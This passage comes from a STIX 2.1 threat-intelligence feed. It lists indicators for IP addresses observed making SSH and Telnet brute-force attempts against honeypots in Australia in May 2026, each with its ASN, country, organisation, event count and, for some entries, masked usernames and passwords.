      "created": "2026-05-02T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UZ. ASN(s): 8193. Organisation(s): Uzbektelekom Joint Stock Company.",
      "id": "indicator--52e22786-3650-4be0-9c90-df48d5fa8acd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '213.230.92.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T23:15:11.000Z",
      "valid_until": "2026-06-03T23:15:08.000Z"
    },
    {
      "created": "2026-05-02T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--d85f8f93-648e-4f08-80e8-a653d16a567c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T23:15:11.000Z",
      "valid_until": "2026-06-03T23:15:08.000Z"
    },
    {
      "created": "2026-05-02T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--3d452864-3c30-4a3c-9b63-b552270b0d06",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T23:15:11.000Z",
      "valid_until": "2026-06-03T23:15:08.000Z"
    },
    {
      "created": "2026-05-02T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--4e3ab079-946e-4db5-a9a0-61704b51706b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.224.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T23:15:11.000Z",
      "valid_until": "2026-06-03T23:15:08.000Z"
    },
    {
      "created": "2026-05-02T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IL. ASN(s): 12849. Organisation(s): Hot-Net internet services Ltd..",
      "id": "indicator--cb090c32-c939-450e-b49f-3f4013d48193",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '77.137.64.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T23:15:11.000Z",
      "valid_until": "2026-06-03T23:15:08.000Z"
    },
    {
      "created": "2026-05-03T00:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 338. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 11878. Organisation(s): tzulo, inc..",
      "id": "indicator--82c7d210-d212-4ef0-9f88-736624030bd8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T00:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '107.152.32.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T00:15:06.000Z",
      "valid_until": "2026-06-04T00:15:04.000Z"
    },
    {
      "created": "2026-05-03T00:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--c2fe7ac8-dc15-4c47-953e-408ef527992c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T00:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '124.29.193.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T00:15:06.000Z",
      "valid_until": "2026-06-04T00:15:04.000Z"
    },
    {
      "created": "2026-05-03T00:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 82. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 45538. Organisation(s): ODS Joint Stock Company. Usernames observed (masked): ***, 3**********4, d****y. Passwords observed (masked): 1****0, 3***********4, 3**********4, a***n.",
      "id": "indicator--0943207c-2d3b-40f3-9f30-7bf84ddfd1de",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T00:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '125.253.121.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T00:15:06.000Z",
      "valid_until": "2026-06-04T00:15:04.000Z"
    },
    {
      "created": "2026-05-03T00:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 29066. Organisation(s): velia.net Internetdienste GmbH.",
      "id": "indicator--b93ae89d-2eaa-4e74-8242-2a73e5e00ce0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T00:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '134.119.193.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T00:15:06.000Z",
      "valid_until": "2026-06-04T00:15:04.000Z"
    },
    {
      "created": "2026-05-03T00:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--bc4c2b31-1a81-49b9-87f2-924694cbb6e9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T00:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '139.162.180.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T00:15:06.000Z",
      "valid_until": "2026-06-04T00:15:04.000Z"
    },
    {
      "created": "2026-05-03T00:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CO. ASN(s): 3816. Organisation(s): COLOMBIA TELECOMUNICACIONES S.A. ESP BIC.",
      "id": "indicator--e62549cb-1749-4e71-a9b3-8bd57019f337",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T00:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '161.18.61.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T00:15:06.000Z",
      "valid_until": "2026-06-04T00:15:04.000Z"
    },
    {
      "created": "2026-05-03T00:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 32475. Organisation(s): Internap Holding LLC.",
      "id": "indicator--0902facd-1eb7-47ec-8c45-817cf7c8a149",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T00:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '173.236.16.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T00:15:06.000Z",
      "valid_until": "2026-06-04T00:15:04.000Z"
    },
    {
      "created": "2026-05-03T00:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: HR. ASN(s): 61211. Organisation(s): SETCOR d.o.o..",
      "id": "indicator--4436f87c-f11a-4bc0-997a-a214b48a6da5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T00:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.15.31.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T00:15:06.000Z",
      "valid_until": "2026-06-04T00:15:04.000Z"
    },
    {
      "created": "2026-05-03T00:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PA. ASN(s): 18809. Organisation(s): Cable Onda.",
      "id": "indicator--551f7743-7995-40ea-9310-279c1e32b82c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T00:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.219.102.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T00:15:06.000Z",
      "valid_until": "2026-06-04T00:15:04.000Z"
    },
    {
      "created": "2026-05-03T00:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UA. ASN(s): 30860. Organisation(s): Virtual Systems LLC.",
      "id": "indicator--fdef79ff-a731-4717-973a-2be1cab5c71a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T00:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '194.42.205.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T00:15:06.000Z",
      "valid_until": "2026-06-04T00:15:04.000Z"
    },
    {
      "created": "2026-05-03T00:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398722. Organisation(s): Censys, Inc..",
      "id": "indicator--05077b0f-4178-4db5-88d4-7eba40036c45",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T00:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '199.45.155.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T00:15:06.000Z",
      "valid_until": "2026-06-04T00:15:04.000Z"
    },
    {
      "created": "2026-05-03T00:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie, Fatt. Target ports: 22, 587. Source country: TW. ASN(s): 208137. Organisation(s): Feo Prest SRL. Usernames observed (masked): r***o. Passwords observed (masked): r***o, r****1, r******3, r*******4.",
      "id": "indicator--51ec8b1f-8408-4185-96d7-5e828115354d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T00:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '213.209.159.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T00:15:06.000Z",
      "valid_until": "2026-06-04T00:15:04.000Z"
    },
    {
      "created": "2026-05-03T00:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 58291. Organisation(s): ColoCenter b.v..",
      "id": "indicator--f10ed766-1fa8-4b92-abf0-6c22fb071c8b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T00:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.39.189.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T00:15:06.000Z",
      "valid_until": "2026-06-04T00:15:04.000Z"
    },
    {
      "created": "2026-05-03T00:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 38. Sensors involved: Cowrie. Target ports: 23. Source country: AE. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--80e10be0-43bf-4cd6-a46c-b34b34bfa5ce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T00:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '74.162.64.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T00:15:06.000Z",
      "valid_until": "2026-06-04T00:15:04.000Z"
    },
    {
      "created": "2026-05-03T00:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 33984. Organisation(s): Surfplanet GmbH.",
      "id": "indicator--9bd363fd-5385-4d75-a62c-1caa7566d1bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T00:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '78.111.67.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T00:15:06.000Z",
      "valid_until": "2026-06-04T00:15:04.000Z"
    },
    {
      "created": "2026-05-03T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 104. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 62904. Organisation(s): Eonix Corporation.",
      "id": "indicator--ef318362-4ce0-41f9-86f9-c085786518c6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.140.145.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T01:15:10.000Z",
      "valid_until": "2026-06-04T01:15:08.000Z"
    },
    {
      "created": "2026-05-03T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 40676. Organisation(s): Psychz Networks.",
      "id": "indicator--bdb40e7d-ca6a-49c9-8239-80e2a3b5fc49",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '108.181.36.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T01:15:10.000Z",
      "valid_until": "2026-06-04T01:15:08.000Z"
    },
    {
      "created": "2026-05-03T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--5f4fc9b2-d326-4965-9695-1959297b40fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.196.40.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T01:15:10.000Z",
      "valid_until": "2026-06-04T01:15:08.000Z"
    },
    {
      "created": "2026-05-03T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 266636. Organisation(s): REDE WORKS TELECOM.",
      "id": "indicator--ae5983e3-de01-4289-b904-819605663dee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '128.201.58.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T01:15:10.000Z",
      "valid_until": "2026-06-04T01:15:08.000Z"
    },
    {
      "created": "2026-05-03T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 240. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 40021. Organisation(s): Contabo Inc..",
      "id": "indicator--e83594de-9bdd-407d-bb91-5ff200a6ce7a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '144.126.155.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T01:15:10.000Z",
      "valid_until": "2026-06-04T01:15:08.000Z"
    },
    {
      "created": "2026-05-03T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: SC. ASN(s): 40065. Organisation(s): CNSERVERS LLC.",
      "id": "indicator--0f218765-5fb1-4e64-8fdf-22847d478bc9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '156.251.179.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T01:15:10.000Z",
      "valid_until": "2026-06-04T01:15:08.000Z"
    },
    {
      "created": "2026-05-03T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 210006. Organisation(s): Shereverov Marat Ahmedovich. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--c1796a6c-9c1a-4679-8b3a-e3cfc5f61dcd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '178.20.210.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T01:15:10.000Z",
      "valid_until": "2026-06-04T01:15:08.000Z"
    },
    {
      "created": "2026-05-03T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--1f129f5f-0c45-4ecf-9020-65cb4a749f04",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '18.208.181.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T01:15:10.000Z",
      "valid_until": "2026-06-04T01:15:08.000Z"
    },
    {
      "created": "2026-05-03T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 9009. Organisation(s): M247 Europe SRL.",
      "id": "indicator--e132e191-dd1e-49da-90c9-fbea1fdbdda7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.255.100.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T01:15:10.000Z",
      "valid_until": "2026-06-04T01:15:08.000Z"
    },
    {
      "created": "2026-05-03T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396073. Organisation(s): Majestic Hosting Solutions, LLC.",
      "id": "indicator--2c89859e-7cda-4320-a4ef-9c994a112783",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.30.242.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T01:15:10.000Z",
      "valid_until": "2026-06-04T01:15:08.000Z"
    },
    {
      "created": "2026-05-03T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 32475. Organisation(s): Internap Holding LLC.",
      "id": "indicator--072e90bc-287f-4d00-94de-e238505a6a22",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.20.127.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T01:15:10.000Z",
      "valid_until": "2026-06-04T01:15:08.000Z"
    },
    {
      "created": "2026-05-03T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 199404. Organisation(s): WHG Hosting Services Ltd.",
      "id": "indicator--3294508b-f27c-4aae-a550-f0164bfa6fe9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.38.85.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T01:15:10.000Z",
      "valid_until": "2026-06-04T01:15:08.000Z"
    },
    {
      "created": "2026-05-03T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 3920. Organisation(s): PUSHPKT OU.",
      "id": "indicator--610f9728-99cf-43fb-b00a-8f92ca46dc2b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.237.107.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T01:15:10.000Z",
      "valid_until": "2026-06-04T01:15:08.000Z"
    },
    {
      "created": "2026-05-03T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 26832. Organisation(s): Rica Web Services.",
      "id": "indicator--f4b59a80-f118-4478-b380-ead1fb132706",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '207.90.195.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T01:15:10.000Z",
      "valid_until": "2026-06-04T01:15:08.000Z"
    },
    {
      "created": "2026-05-03T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--68690044-dcec-49bf-9133-a750c306ad5f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.215.127.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T01:15:10.000Z",
      "valid_until": "2026-06-04T01:15:08.000Z"
    },
    {
      "created": "2026-05-03T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UA. ASN(s): 202302. Organisation(s): NETH LLC.",
      "id": "indicator--d9e95824-9ad9-4c73-a490-f6b5ab2b5f9c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.222.235.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T01:15:10.000Z",
      "valid_until": "2026-06-04T01:15:08.000Z"
    },
    {
      "created": "2026-05-03T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--d529827b-f356-4909-afe4-c5e534588223",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '51.77.85.238']",
